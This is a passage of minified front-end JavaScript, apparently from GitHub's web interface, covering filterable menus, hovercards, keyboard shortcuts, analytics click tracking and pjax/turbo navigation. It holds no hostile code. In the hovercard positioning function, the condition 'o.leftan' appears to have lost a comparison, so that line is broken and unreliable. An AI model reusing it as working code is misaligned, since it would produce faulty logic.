l=e.selected;n[a]&&(l=!0,n[a].remove(),delete n[a]);const y=r.querySelector("[role^=menuitem]");l&&(y.setAttribute("aria-checked","true"),i.checked=!0),e.disabled&&y.setAttribute("aria-disabled","true");const w=r.querySelector(".js-username");w&&(w.textContent=e.login);const S=r.querySelector(".js-description");S&&(S.textContent=e.name);const R=r.querySelector(".js-extended-description");R&&(e.description?R.textContent=e.description:R.remove());const I=r.querySelector(".js-avatar");return I.className=`${I.className} ${e.class}`,I.src=e.avatar,e.element=y,o==null||o.userResultCache.set(e.id,y),e.element}s(bi,"createReviewerItem"),(0,u.N7)(".js-filterable-field",{constructor:HTMLInputElement,initialize(e){e.autocomplete||(e.autocomplete="off");const t=e.hasAttribute("type-ahead")?200:null;let n=e.value;async function o(i){n!==i.value&&(n=i.value,await(0,k.gJ)(),(0,c.f)(i,"filterable:change"))}s(o,"onInputChange");async function r(){n=e.value,await(0,k.gJ)(),(0,c.f)(e,"filterable:change")}return s(r,"onFocus"),{add(i){i.addEventListener("focus",r),(0,te.oq)(i,o,{wait:t}),document.activeElement===i&&r()},remove(i){i.removeEventListener("focus",r),(0,te.iU)(i,o)}}}}),(0,c.on)("filterable:change",".js-filterable-field",async function(e){const t=e.currentTarget,n=t.value.trim().toLowerCase(),o=document.querySelectorAll(`[data-filterable-for="${t.id}"]`);for(const r of o){const i=await vi(r,n);if(i===-1)return;document.activeElement&&t===document.activeElement&&(0,h.x)(`${i} results found.`),r.dispatchEvent(new CustomEvent("filterable:change",{bubbles:!0,cancelable:!1,detail:{inputField:t}}))}});function yi(e){return e.hasAttribute("data-filter-value")?e.getAttribute("data-filter-value").toLowerCase().trim():e.textContent.toLowerCase().trim()}s(yi,"defaultText");async function vi(e,t){const n=parseInt(e.getAttribute("data-filterable-limit"),10)||null;let o=0;switch(e.getAttribute("data-filterable-type")){case"fuzzy-prio":{const r=t.toLowerCase();o=Mo(e,t,{limit:n,sortKey:s(a=>{const l=a.getAttribute("data-prio-filter-value").toLowerCase().trim(),y=a.textContent.toLowerCase().trim(),w=(0,ge.EW)(l,r)*2;let S=(0,ge.EW)(y,r);return w>S&&(S=w),S>0?{score:S,text:y}:null},"sortKey")});break}case"fuzzy":{const r=t.toLowerCase();o=Mo(e,t,{limit:n,sortKey:s(a=>{const l=yi(a),y=(0,ge.EW)(l,r);return y>0?{score:y,text:l}:null},"sortKey")});break}case"substring":o=Co(e,t.toLowerCase(),Ei,{limit:n});break;case"substring-memory":o=await gi(e,t,{limit:n});break;default:o=Co(e,t.toLowerCase(),wi,{limit:n});break}return e.classList.toggle("filterable-active",t.length>0),e.classList.toggle("filterable-empty",o===0),o}s(vi,"filter");function wi(e,t){return e.textContent.toLowerCase().trim().startsWith(t)}s(wi,"prefix");function Ei(e,t){return e.hasAttribute("data-skip-substring-filter")||e.classList.contains("select-menu-no-results")?null:(e.querySelector("[data-filterable-item-text]")||e).textContent.toLowerCase().trim().includes(t)}s(Ei,"substring"),(0,c.on)("filterable:change","details-menu .select-menu-list",function(e){const t=e.currentTarget,n=t.querySelector(".js-new-item-form");n&&Li(t,n,e.detail.inputField.value)});function Li(e,t,n){const o=n.length>0&&!ji(e,n);if(e.classList.toggle("is-showing-new-item-form",o),!o)return;t.querySelector(".js-new-item-name").textContent=n;const r=t.querySelector(".js-new-item-value");(r instanceof HTMLInputElement||r instanceof HTMLButtonElement)&&(r.value=n)}s(Li,"toggleForm");function ji(e,t){for(const n of e.querySelectorAll("[data-menu-button-text]"))if(n.textContent.toLowerCase().trim()===t.toLowerCase())return!0;return!1}s(ji,"itemExists"),(0,u.N7)("tab-container .select-menu-list .filterable-empty, details-menu .select-menu-list .filterable-empty",{add(e){e.closest(".select-menu-list").classList.add("filterable-empty")},remove(e){e.closest(".select-menu-list").classList.remove("filterable-empty")}});const _o=navigator.userAgent.match(/Firefox\/(\d+)/);_o&&Number(_o[1])<76&&((0,u.N7)('details-menu label[tabindex][role^="menuitem"]',e=>{const t=e.querySelector("input");if(!t)return;const n=e.classList.contains("select-menu-item"),o=t.classList.contains("d-none"),r=n||o||t.hidden;n&&t.classList.add("d-block"),o&&t.classList.remove("d-none"),r&&(t.classList.add("sr-only"),t.hidden=!1),e.removeAttribute("tabindex")}),(0,c.on)("focus",'details-menu label[role="menuitemradio"] input, details-menu label[role="menuitemcheckbox"] input',e=>{const t=e.currentTarget.closest("label");t.classList.contains("select-menu-item")&&t.classList.add("navigation-focus"),t.classList.contains("SelectMenu-item")&&t.classList.add("hx_menuitem--focus"),t.classList.contains("dropdown-item")&&t.classList.add("hx_menuitem--focus"),e.currentTarget.addEventListener("blur",()=>{t.classList.contains("select-menu-item")&&t.classList.remove("navigation-focus"),t.classList.contains("SelectMenu-item")&&t.classList.remove("hx_menuitem--focus"),t.classList.contains("dropdown-item")&&t.classList.remove("hx_menuitem--focus")},{once:!0})},{capture:!0}),(0,j.w4)("keydown",'details-menu label[role="menuitemradio"] input, details-menu label[role="menuitemcheckbox"] input',async function(e){if(Po(e))e.currentTarget instanceof Element&&Si(e.currentTarget);else if(e.key==="Enter"){const t=e.currentTarget;e.preventDefault(),await(0,k.gJ)(),t instanceof HTMLInputElement&&t.click()}}),(0,c.on)("blur",'details-menu label input[role="menuitemradio"], details-menu label input[role="menuitemcheckbox"]',e=>{Io(e.currentTarget)},{capture:!0}),(0,j.w4)("keyup",'details-menu label[role="menuitemradio"] input, details-menu label[role="menuitemcheckbox"] input',e=>{!Po(e)||e.currentTarget instanceof Element&&Io(e.currentTarget)}));function Po(e){return e.key==="ArrowDown"||e.key==="ArrowUp"}s(Po,"isArrowKeys");function Si(e){const t=e.closest("label");t.hasAttribute("data-role")||t.setAttribute("data-role",t.getAttribute("role")),e.setAttribute("role",t.getAttribute("data-role")),t.removeAttribute("role")}s(Si,"switchRoleToInputForNavigation");function Io(e){const t=e.closest("label");t.hasAttribute("data-role")||t.setAttribute("data-role",t.getAttribute("role")),t.setAttribute("role",t.getAttribute("data-role")),e.removeAttribute("role")}s(Io,"switchRoleBackToOriginalState");var nn=f(11820);function Do(){document.firstElementChild.classList.contains("js-skip-scroll-target-into-view")||(0,nn.lA)(document)&&(0,nn.kc)(document)}s(Do,"scrollTargetIntoViewIfNeeded"),(0,Xt.Z)(Do),(0,c.on)("click",'a[href^="#"]',function(e){const{currentTarget:t}=e;t instanceof HTMLAnchorElement&&setTimeout(Do,0)}),(0,c.on)("click",".js-flash-close",function(e){const t=e.currentTarget.closest(".flash-messages");e.currentTarget.closest(".flash").remove(),t&&!t.querySelector(".flash")&&t.remove()});const Ti=["flash-notice","flash-error","flash-message","flash-warn"];function Ai(e){for(const{key:t,value:n}of Ti.flatMap(Ve.$1)){(0,Ve.kT)(t);let o;try{o=atob(decodeURIComponent(n))}catch{continue}e.after(new lt.R(e,{className:t,message:o}))}}s(Ai,"displayFlash"),(0,u.N7)("template.js-flash-template",{constructor:HTMLTemplateElement,add(e){Ai(e)}});const on=new WeakMap;document.addEventListener("focus",function(e){const t=e.target;t instanceof Element&&!on.get(t)&&((0,c.f)(t,"focusin:delay"),on.set(t,!0))},{capture:!0}),document.addEventListener("blur",function(e){setTimeout(function(){const t=e.target;t instanceof Element&&t!==document.activeElement&&((0,c.f)(t,"focusout:delay"),on.delete(t))},200)},{capture:!0}),(0,C.AC)(".js-form-toggle-target",async function(e,t){try{await t.text()}catch{return}const n=e.closest(".js-form-toggle-container");n.querySelector(".js-form-toggle-target[hidden]").hidden=!1,e.hidden=!0});var Ci=f(99254);function ki(e){e instanceof CustomEvent&&(0,h.x)(`${e.detail} results found.`)}s(ki,"noticeHandler"),(0,u.N7)("fuzzy-list",{constructor:Ci.Z,subscribe:e=>(0,M.RB)(e,"fuzzy-list-sorted",ki)}),(0,c.on)("click",".email-hidden-toggle",function(e){const t=e.currentTarget.nextElementSibling;t instanceof HTMLElement&&(t.style.display="",t.classList.toggle("expanded"),e.preventDefault())});var ou=f(30479);(0,u.N7)(".js-hook-url-field",{constructor:HTMLInputElement,add(e){function t(){const n=e.form;if(!n)return;let o;try{o=new URL(e.value)}catch{}const r=n.querySelector(".js-invalid-url-notice");r instanceof HTMLElement&&(r.hidden=!!(e.value===""||o&&/^https?:/.test(o.protocol)));const i=n.querySelector(".js-insecure-url-notice");i instanceof HTMLElement&&o&&e.value&&(i.hidden=/^https:$/.test(o.protocol));const a=n.querySelector(".js-ssl-hook-fields");a instanceof HTMLElement&&(a.hidden=!(o&&o.protocol==="https:"))}s(t,"checkUrl"),(0,te.oq)(e,t),t()}});function Ho(e){const t=document.querySelectorAll(".js-hook-event-checkbox");for(const n of t)n.checked=n.matches(e)}s(Ho,"chooseEvents"),(0,c.on)("change",".js-hook-event-choice",function(e){const t=e.currentTarget,n=t.checked&&t.value==="custom",o=t.closest(".js-hook-events-field");if(o&&o.classList.toggle("is-custom",n),t.checked)if(n){const r=document.querySelector(".js-hook-wildcard-event");r.checked=!1}else t.value==="push"?Ho('[value="push"]'):t.value==="all"&&Ho(".js-hook-wildcard-event")}),(0,c.on)("click",".js-hook-deliveries-pagination-button",async function(e){const t=e.currentTarget;t.disabled=!0;const n=t.parentElement,o=t.getAttribute("data-url");n.before(await(0,pe.a)(document,o)),n.remove()}),(0,C.AC)(".js-redeliver-hook-form",async function(e,t){let n;try{n=await t.html()}catch{e.classList.add("failed");return}document.querySelector(".js-hook-deliveries-container").replaceWith(n.html)});var $e=f(11793);(0,u.N7)("[data-hotkey]",{constructor:HTMLElement,add(e){if((0,at.Ty)())(0,$e.N9)(e);else{const t=e.getAttribute("data-hotkey");if(t){const n=xi(t);n.length>0&&(e.setAttribute("data-hotkey",n),(0,$e.N9)(e))}}},remove(e){(0,$e.Tz)(e)}});function xi(e){return e.split(",").filter(n=>(0,at.YE)(n)).join(",")}s(xi,"filterOutCharacterKeyShortcuts");var rn=f(53692);let ne=document.querySelector(".js-hovercard-content");(0,u.N7)(".js-hovercard-content",e=>{ne=e});const Mi=(0,qe.Z)(pe.a);let Ce,mt=null,sn,an=0;const cn=12,ln=24,Oo=ln-7,No=16,qi=100,Ri=250;function Re(e){return"Popover-message--"+e}s(Re,"contentClass");function _i(e){setTimeout(()=>{if(document.body&&document.body.contains(e)){const t=e.querySelector("[data-hovercard-tracking]");if(t){const o=t.getAttribute("data-hovercard-tracking");o&&(0,_.q)("user-hovercard-load",JSON.parse(o))}const n=e.querySelector("[data-hydro-view]");n instanceof HTMLElement&&(0,rn.Fk)(n)}},500)}s(_i,"trackLoad");function Fe(){ne instanceof HTMLElement&&(ne.style.display="none",ne.children[0].innerHTML="",mt=null,Ce=null)}s(Fe,"hideCard");function Pi(e){const t=e.getClientRects();let n=t[0]||e.getBoundingClientRect()||{top:0,left:0,height:0,width:0};if(t.length>0){for(const o of t)if(o.leftan){n=o;break}}return n}s(Pi,"selectRectNearestMouse");function Ii(e){const{width:t,height:n}=ne.getBoundingClientRect(),{left:o,top:r,height:i,width:a}=Pi(e),l=r>n;if(e.classList.contains("js-hovercard-left")){const w=o-t-cn,S=r+i/2;return{containerTop:l?S-n+Oo+No/2:S-Oo-No/2,containerLeft:w,contentClassSuffix:l?"right-bottom":"right-top"}}else{const w=window.innerWidth-o>t,S=o+a/2,R=w?S-ln:S-t+ln;return{containerTop:l?r-n-cn:r+i+cn,containerLeft:R,contentClassSuffix:l?w?"bottom-left":"bottom-right":w?"top-left":"top-right"}}}s(Ii,"calculatePositions");function Di(e,t){if(!(ne instanceof HTMLElement))return;ne.style.visibility="hidden",ne.style.display="block",t.classList.remove(Re("bottom-left"),Re("bottom-right"),Re("right-top"),Re("right-bottom"),Re("top-left"),Re("top-right"));const{containerTop:n,containerLeft:o,contentClassSuffix:r}=Ii(e);t.classList.add(Re(r)),ne.style.top=`${n+window.pageYOffset}px`,ne.style.left=`${o+window.pageXOffset}px`,zi(e,ne),ne.style.visibility=""}s(Di,"positionCard");function Hi(e,t){if(!(ne instanceof HTMLElement))return;const n=ne.children[0];n.innerHTML="";const o=document.createElement("div");for(const r of e.children)o.appendChild(r.cloneNode(!0));n.appendChild(o),Di(t,n),_i(o),ne.style.display="block"}s(Hi,"showCard");function Oi(e){const t=e.closest("[data-hovercard-subject-tag]");if(t)return t.getAttribute("data-hovercard-subject-tag");const n=document.head&&document.head.querySelector('meta[name="hovercard-subject-tag"]');return n?n.getAttribute("content"):null}s(Oi,"determineEnclosingSubject");function Ni(e){const t=e.getAttribute("data-hovercard-url");if(t){const n=Oi(e);if(n){const o=new URL(t,window.location.origin),r=new URLSearchParams(o.search.slice(1));return r.append("subject",n),r.append("current_path",window.location.pathname+window.location.search),o.search=r.toString(),o.toString()}return t}return""}s(Ni,"hovercardUrlFromTarget");function Bi(e){const t=e.getAttribute("data-hovercard-type");return t==="pull_request"||t==="issue"?!!e.closest("[data-issue-and-pr-hovercards-enabled]"):t==="team"?!!e.closest("[data-team-hovercards-enabled]"):t==="repository"?!!e.closest("[data-repository-hovercards-enabled]"):t==="commit"?!!e.closest("[data-commit-hovercards-enabled]"):t==="project"?!!e.closest("[data-project-hovercards-enabled]"):t==="discussion"?!!e.closest("[data-discussion-hovercards-enabled]"):t==="acv_badge"?!!e.closest("[data-acv-badge-hovercards-enabled]"):t==="sponsors_listing"?!!e.closest("[data-sponsors-listing-hovercards-enabled]"):!0}s(Bi,"hovercardsAreEnabledForType");async function $i(e,t){if("ontouchstart"in document)return;const o=e.currentTarget;if(e instanceof MouseEvent&&(an=e.clientX),!(o instanceof Element)||Ce===o||o.closest(".js-hovercard-content")||!Bi(o))return;Fe(),Ce=o,mt=document.activeElement;const r=Ni(o);let i;try{const a=new Promise(l=>window.setTimeout(l,t,0));i=await Mi(document,r),await a}catch(a){const l=a.response;if(l&&l.status===404){const y="Hovercard is unavailable";o.setAttribute("aria-label",y),o.classList.add("tooltipped","tooltipped-ne")}else if(l&&l.status===410){const y=await l.clone().json();o.setAttribute("aria-label",y.message),o.classList.add("tooltipped","tooltipped-ne")}return}o===Ce&&(Hi(i,o),e instanceof KeyboardEvent&&ne instanceof HTMLElement&&ne.focus())}s($i,"activateFn");function Fi(e){$i(e,Ri)}s(Fi,"activateWithTimeoutFn");function un(e){if(!!Ce){if(e instanceof MouseEvent&&e.relatedTarget instanceof HTMLElement){const t=e.relatedTarget;if(t.closest(".js-hovercard-content")||t.closest("[data-hovercard-url]"))return}else e instanceof KeyboardEvent&&mt instanceof HTMLElement&&mt.focus();Fe()}}s(un,"deactivateFn");function Ui(e){const t=Ce;sn=window.setTimeout(()=>{Ce===t&&un(e)},qi)}s(Ui,"deactivateWithTimeoutFn");function Bo(e){if(e instanceof KeyboardEvent)switch(e.key){case"Escape":un(e)}}s(Bo,"keyupFn");function Wi(){sn&&clearTimeout(sn)}s(Wi,"cancelDeactivation"),ne&&((0,u.N7)("[data-hovercard-url]",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"mouseover",Fi),(0,M.RB)(e,"mouseleave",Ui),(0,M.RB)(e,"keyup",Bo))}),(0,u.N7)("[data-hovercard-url]",{remove(e){Ce===e&&Fe()}}),(0,u.N7)(".js-hovercard-content",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"mouseover",Wi),(0,M.RB)(e,"mouseleave",un),(0,M.RB)(e,"keyup",Bo))}),(0,c.on)("menu:activated","details",Fe),window.addEventListener("turbo:load",Fe),window.addEventListener("statechange",Fe));function zi(e,t){const n=e.getAttribute("data-hovercard-z-index-override");n?t.style.zIndex=n:t.style.zIndex="100"}s(zi,"setZIndexOverride"),async function(){document.addEventListener("pjax:complete",()=>(0,_.Y)({pjax:"true"})),document.addEventListener("soft-nav:success",()=>(0,_.Y)({turbo:"true"})),await me.C,(0,_.Y)()}(),(0,c.on)("click","[data-octo-click]",function(e){const t=e.currentTarget;if(!(t instanceof HTMLElement))return;const n=t.getAttribute("data-octo-click")||"",o={};if(t.hasAttribute("data-ga-click")){const i=t.getAttribute("data-ga-click").split(",");o.category=i[0].trim(),o.action=i[1].trim()}if(t.hasAttribute("data-octo-dimensions")){const r=t.getAttribute("data-octo-dimensions").split(",");for(const i of r){const[a,l]=i.split(/:(.+)/);a&&(o[a]=l||"")}}(0,_.q)(n,o)});var $o=f(84818);const{getItem:su}=(0,$o.Z)("localStorage");function Fo(e,t){var n,o}s(Fo,"debugPayload"),(0,c.on)("click","[data-hydro-click]",function(e){const t=e.currentTarget,n=t.getAttribute("data-hydro-click")||"",o=t.getAttribute("data-hydro-click-hmac")||"",r=t.getAttribute("data-hydro-client-context")||"";Fo("hydro-debug.click",n),(0,rn.$S)(n,o,r)}),(0,c.on)("click","[data-optimizely-hydro-click]",function(e){const t=e.currentTarget,n=t.getAttribute("data-optimizely-hydro-click")||"",o=t.getAttribute("data-optimizely-hydro-click-hmac")||"";Fo("hydro-debug.optimizely",n),(0,rn.$S)(n,o,"")}),(0,C.AC)(".js-immediate-updates",async function(e,t){let n;try{n=(await t.json()).json.updateContent}catch(o){o.response.json&&(n=o.response.json.updateContent)}if(n)for(const o in n){const r=n[o],i=document.querySelector(o);i instanceof HTMLElement&&(0,Me.Of)(i,r)}}),document.addEventListener("DOMContentLoaded",Ki);async function Ki(){if((0,U.c)("IMAGE_METRIC_TRACKING")===!1)return;const e=Array.from(document.querySelectorAll("img.js-img-time")).slice(0,5),t=Date.now(),n=[];await Promise.all(e.map(o=>Vi(o,t,n))),n.length>0&&(0,he.b)({transparentRedirectTimings:n})}s(Ki,"onDOMContentLoaded");async function Vi(e,t,n){const o=/\/assets\/storage\/user\/([0-9]+)\/files\/([{]?[0-9a-fA-F]{8}-([0-9a-fA-F]{4}-){3}[0-9a-fA-F]{12}[}]?)/,r=/assets\/([0-9]+)\/([{]?[0-9a-fA-F]{8}-([0-9a-fA-F]{4}-){3}[0-9a-fA-F]{12}[}]?)/,i=e.getAttribute("src");if(!i)return;const a=new URL(i,window.location.origin),l=o.test(a.pathname)?o:r,[,y,w]=a.pathname.match(l)||[];if(!y||!w)return;await fetch(`/assets/measure/${y}/${w}`);const R={duration:Date.now()-t,fileGUID:w,userID:y};n.push(R)}s(Vi,"measureRedirectTiming"),(0,u.N7)("[data-indeterminate]",{constructor:HTMLInputElement,initialize(e){e.indeterminate=!0}});var Xi=f(51244);function Gi(){f.e("app_assets_modules_github_jump-to_ts").then(f.bind(f,35653))}s(Gi,"load"),(0,u.N7)(".js-jump-to-field",{constructor:HTMLInputElement,add(e){e.addEventListener("focusin",Gi,{once:!0}),(0,Xi.Nc)(window.location.pathname)}});let dn=!1;async function Uo(){if(dn)return;dn=!0;const t={contexts:document.querySelector("meta[name=github-keyboard-shortcuts]").content},n=`/site/keyboard_shortcuts?${new URLSearchParams(t).toString()}`,o=await(0,Te.W)({content:(0,pe.a)(document,n),labelledBy:"keyboard-shortcuts-heading"});o.style.width="800px",o.addEventListener("dialog:remove",function(){dn=!1},{once:!0})}s(Uo,"showKeyboardShortcuts"),(0,c.on)("click",".js-keyboard-shortcuts",Uo),document.addEventListener("keydown",e=>{e instanceof KeyboardEvent&&(!(0,at.Zf)(e)||e.target instanceof Node&&(0,L.sw)(e.target)||(0,$e.EL)(e)==="Shift+?"&&Uo())}),(0,u.N7)(".js-modifier-key",{constructor:HTMLElement,add(e){if(/Macintosh/.test(navigator.userAgent)){let t=e.textContent;t&&(t=t.replace(/ctrl/,"\u2318"),t=t.replace(/alt/,"\u2325"),e.textContent=t)}}}),(0,u.N7)(".js-modifier-label-key",{add(e){var t;let n=(t=e.textContent)==null?void 0:t.replace(/ctrl/i,"Ctrl");!n||(/Macintosh/.test(navigator.userAgent)&&(n=n.replace(/ctrl/i,"Cmd"),n=n.replace(/alt/i,"Option")),e.textContent=n)}});function ht(e){const t=e.currentTarget;if(!(t instanceof HTMLInputElement||t instanceof HTMLTextAreaElement))return;const n=parseInt(t.getAttribute("data-input-max-length")||"",10),o=parseInt(t.getAttribute("data-warning-length")||"",10)||5,i=t.value.replace(/(\r\n|\n|\r)/g,`\r +`);let a=n-i.length;if(a<=0){let S=i.substr(0,n);S.endsWith("\r")?(S=S.substr(0,n-1),a=1):a=0,t.value=S}const l=t.getAttribute("data-warning-text"),w=t.closest(".js-length-limited-input-container").querySelector(".js-length-limited-input-warning");a<=o?(w.textContent=l.replace(new RegExp("{{remaining}}","g"),`${a}`),w.classList.remove("d-none")):(w.textContent="",w.classList.add("d-none"))}s(ht,"displayLengthWarning"),(0,u.N7)(".js-length-limited-input",{add(e){e.addEventListener("input",ht),e.addEventListener("change",ht)},remove(e){e.removeEventListener("input",ht),e.removeEventListener("change",ht)}}),(0,c.on)("click",".js-member-search-filter",function(e){e.preventDefault();const t=e.currentTarget.getAttribute("data-filter"),o=e.currentTarget.closest("[data-filter-on]").getAttribute("data-filter-on"),r=document.querySelector(".js-member-filter-field"),i=r.value,a=new RegExp(`${o}:(?:[a-z]|_|((').*(')))+`),l=i.toString().trim().replace(a,"");r.value=`${l} ${t}`.replace(/\s\s/," ").trim(),r.focus(),(0,c.f)(r,"input")}),(0,c.on)("auto-check-success",".js-new-organization-name",function(e){const t=e.target,o=t.closest("dd").querySelector(".js-field-hint-name");!o||(o.textContent=t.value)}),(0,C.AC)(".js-notice-dismiss",async function(e,t){await t.text(),e.closest(".js-notice").remove()}),(0,c.on)("submit",".js-notice-dismiss-remote",async function(e){const t=e.currentTarget;e.preventDefault();let n;try{n=await fetch(t.action,{method:t.method,body:new FormData(t),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{(0,T.v)();return}n&&!n.ok?(0,T.v)():t.closest(".js-notice").remove()});function Zi(e){try{const t=e.getBoundingClientRect();if(t.height===0&&t.width===0||e.style.opacity==="0"||e.style.visibility==="hidden")return!1}catch{}return!0}s(Zi,"isVisible"),(0,c.on)("click",".js-github-dev-shortcut",function(e){e.preventDefault();for(const n of document.querySelectorAll("textarea.js-comment-field"))if(n.value&&Zi(n)&&!confirm("Are you sure you want to open github.dev?"))return;const t=e.currentTarget;t.pathname=window.location.pathname,t.hash=window.location.hash,window.location.href=t.href}),(0,c.on)("click",".js-github-dev-new-tab-shortcut",function(e){const t=e.currentTarget;t.pathname=window.location.pathname,t.hash=window.location.hash});function Ji(e,t,n){const o=new URL("",window.location.origin),r=t.pathname.split("/");o.pathname=r.slice(1,3).join("/"),o.hash=t.hash,n&&(o.search=`?q=${encodeURIComponent(n)}`);const a=new URLSearchParams(t.search).get("q");return a?o.search=`?q=${encodeURIComponent(a)}`:r.length>=6&&(r[3]==="blob"||r[3]==="tree")&&(o.pathname=t.pathname),o.host=e.host,o.protocol=e.protocol,o.port=e.port,o}s(Ji,"getBlackbirdURL"),(0,c.on)("click",".js-blackbird-shortcut",function(e){var t;const n=e.currentTarget,o=Ji(n,new URL(window.location.href,window.location.origin),(t=window.getSelection())==null?void 0:t.toString());n.href=o.href}),(0,c.on)("click",".js-permalink-shortcut",function(e){const t=e.currentTarget;try{(0,E.lO)(null,"",t.href+window.location.hash)}catch{window.location.href=t.href+window.location.hash}for(const n of document.querySelectorAll(".js-permalink-replaceable-link"))n instanceof HTMLAnchorElement&&(n.href=n.getAttribute("data-permalink-href"));e.preventDefault()}),(0,C.AC)(".js-permission-menu-form",async function(e,t){const n=e.querySelector(".js-permission-success"),o=e.querySelector(".js-permission-error");n.hidden=!0,o.hidden=!0,e.classList.add("is-loading");let r;try{r=await t.json()}catch{e.classList.remove("is-loading"),o.hidden=!1;return}e.classList.remove("is-loading"),n.hidden=!1;const i=e.closest(".js-org-repo");if(i){const a=r.json;i.classList.toggle("with-higher-access",a.members_with_higher_access)}}),async function(){await me.x;const e=document.querySelector(".js-pjax-loader-bar");if(!e)return;const t=e.firstElementChild;if(!(t instanceof HTMLElement))return;let n=0,o=null,r=null;function i(){a(0),e&&e.classList.add("is-loading"),o=window.setTimeout(l,0)}s(i,"initiateLoader");function a(w){t instanceof HTMLElement&&(w===0&&(r==null&&(r=getComputedStyle(t).transition),t.style.transition="none"),n=w,t.style.width=`${n}%`,w===0&&(t.clientWidth,t.style.transition=r||""))}s(a,"setWidth");function l(){n===0&&(n=12),a(Math.min(n+3,95)),o=window.setTimeout(l,500)}s(l,"increment");function y(){o&&clearTimeout(o),a(100),e&&e.classList.remove("is-loading")}s(y,"finishLoader"),document.addEventListener("pjax:start",i),document.addEventListener("pjax:end",y)}();let fn=null;const mn="last_pjax_request",pt="pjax_start",hn="pjax_end";function Qi(e){e instanceof CustomEvent&&e.detail&&e.detail.url&&(window.performance.mark(pt),fn=e.detail.url)}s(Qi,"markPjaxStart");async function Yi(){if(await(0,k.gJ)(),!window.performance.getEntriesByName(pt).length)return;window.performance.mark(hn),window.performance.measure(mn,pt,hn);const t=window.performance.getEntriesByName(mn).pop(),n=t?t.duration:null;!n||(fn&&(0,he.b)({requestUrl:fn,pjaxDuration:Math.round(n)}),ea())}s(Yi,"trackPjaxTiming");function ea(){window.performance.clearMarks(pt),window.performance.clearMarks(hn),window.performance.clearMeasures(mn)}s(ea,"clearPjaxMarks"),"getEntriesByName"in window.performance&&(document.addEventListener("pjax:start",Qi),document.addEventListener("pjax:end",Yi));let pn=null;const gn="last_turbo_request",gt="turbo_start",bn="turbo_end";function ta(e){var t;e instanceof CustomEvent&&(!((t=e.detail)==null?void 0:t.url)||(window.performance.mark(gt),pn=e.detail.url))}s(ta,"markTurboStart");async function na(){if(await(0,k.gJ)(),!window.performance.getEntriesByName(gt).length)return;window.performance.mark(bn),window.performance.measure(gn,gt,bn);const t=window.performance.getEntriesByName(gn).pop(),n=t?t.duration:null;!n||(pn&&(0,he.b)({requestUrl:pn,turboDuration:Math.round(n)}),oa())}s(na,"trackTurboTiming");function oa(){window.performance.clearMarks(gt),window.performance.clearMarks(bn),window.performance.clearMeasures(gn)}s(oa,"clearTurboMarks"),"getEntriesByName"in window.performance&&(document.addEventListener("turbo:before-fetch-request",ta),document.addEventListener("turbo:render",na));var iu=f(11724);function ra(e,t){const n=e.split("/",3).join("/"),o=t.split("/",3).join("/");return n===o}s(ra,"isSameRepo"),(0,c.on)("pjax:click","#js-repo-pjax-container a[href]",function(e){const t=e.currentTarget.pathname;ra(t,location.pathname)||e.preventDefault()}),(0,c.on)("pjax:click",".js-comment-body",function(e){const t=e.target;t instanceof HTMLAnchorElement&&t.pathname.split("/")[3]==="files"&&e.preventDefault()});var au=f(54293),Wo=f(53412);(0,U.c)("TURBO")?(async()=>(0,c.on)("click",".js-turbo-history-navigate",function(e){const t=e;if(!(t.currentTarget instanceof HTMLAnchorElement)||t.shiftKey||t.metaKey||t.ctrlKey||t.altKey)return;const n=(0,E._C)(),o=(0,E.Mw)();n&&t.currentTarget.href===n?(t.preventDefault(),zo(n),history.back()):o&&t.currentTarget.href===o&&(t.preventDefault(),zo(o),history.forward())}))():(0,c.on)("pjax:click",".js-pjax-history-navigate",function(e){e.currentTarget instanceof HTMLAnchorElement&&(e.currentTarget.href===(0,E._C)()?(history.back(),e.detail.relatedEvent.preventDefault(),e.preventDefault()):e.currentTarget.href===(0,E.Mw)()&&(history.forward(),e.detail.relatedEvent.preventDefault(),e.preventDefault()))});function zo(e){document.addEventListener("turbo:before-fetch-request",function(t){if(!(0,Wo.H)(t.target))return;const n=t.detail.url.href;e===n&&(t.preventDefault(),(0,Se.F2)())},{once:!0})}s(zo,"cancelNextTurboFrameFetchRequest");function Ko(e){return e.getAttribute("data-pjax-preserve-scroll")!=null?!1:0}s(Ko,"preserveScrollTo");function yn(e){let t=e;for(;t;){const n=t.getAttribute("data-pjax");if(n&&n!=="true")return document.querySelector(n);t=t.parentElement&&t.parentElement.closest("[data-pjax]")}return e.closest("[data-pjax-container]")}s(yn,"detectContainer"),(0,c.on)("click","[data-pjax] a, a[data-pjax]",function(e){const t=e.currentTarget;if(t instanceof HTMLAnchorElement){if(t.getAttribute("data-skip-pjax")!=null||t.getAttribute("data-remote")!=null)return;const n=yn(t);n&&sa(e,{container:n,scrollTo:Ko(t)})}}),(0,c.on)("change","select[data-pjax]",function(e){if((0,U.c)("TURBO"))return;const t=e.currentTarget,n=yn(t);n&&(0,W.ZP)({url:t.value,container:n})});function sa(e,t){if((0,U.c)("TURBO"))return;const n=e.currentTarget;if(e.button!==0||e.metaKey||e.ctrlKey||e.shiftKey||e.altKey||location.protocol!==n.protocol||location.hostname!==n.hostname||n.href.indexOf("#")>-1&&Vo(n)===Vo(location)||e.defaultPrevented)return;const o={url:n.href,target:n,...t},r=new CustomEvent("pjax:click",{bubbles:!0,cancelable:!0,detail:{options:o,relatedEvent:e}});n.dispatchEvent(r)&&((0,W.ZP)(o),e.preventDefault(),n.dispatchEvent(new CustomEvent("pjax:clicked",{bubbles:!0,cancelable:!0,detail:{options:o}})))}s(sa,"click");function Vo(e){return e.href.replace(/#.*/,"")}s(Vo,"stripHash"),(0,c.on)("submit","form[data-pjax]",function(e){if((0,U.c)("TURBO"))return;const t=e.currentTarget,n=yn(t);if(!n)return;const o=Ko(t),r={type:(t.method||"GET").toUpperCase(),url:t.action,target:t,scrollTo:o,container:n};if(r.type==="GET"){if(t.querySelector("input[type=file]"))return;const i=ia(r.url);i.search+=(i.search?"&":"")+(0,L.qC)(t),r.url=i.toString()}else r.data=new FormData(t);(0,W.ZP)(r),e.preventDefault()});function ia(e){const t=document.createElement("a");return t.href=e,t}s(ia,"parseURL"),(0,u.N7)("body.js-print-popup",()=>{window.print(),setTimeout(window.close,1e3)}),(0,u.N7)("poll-include-fragment[data-redirect-url]",function(e){const t=e.getAttribute("data-redirect-url");e.addEventListener("load",function(){window.location.href=t})}),(0,u.N7)("poll-include-fragment[data-reload]",function(e){e.addEventListener("load",function(){window.location.reload()})});var aa=f(97474),ca=f(92003);const 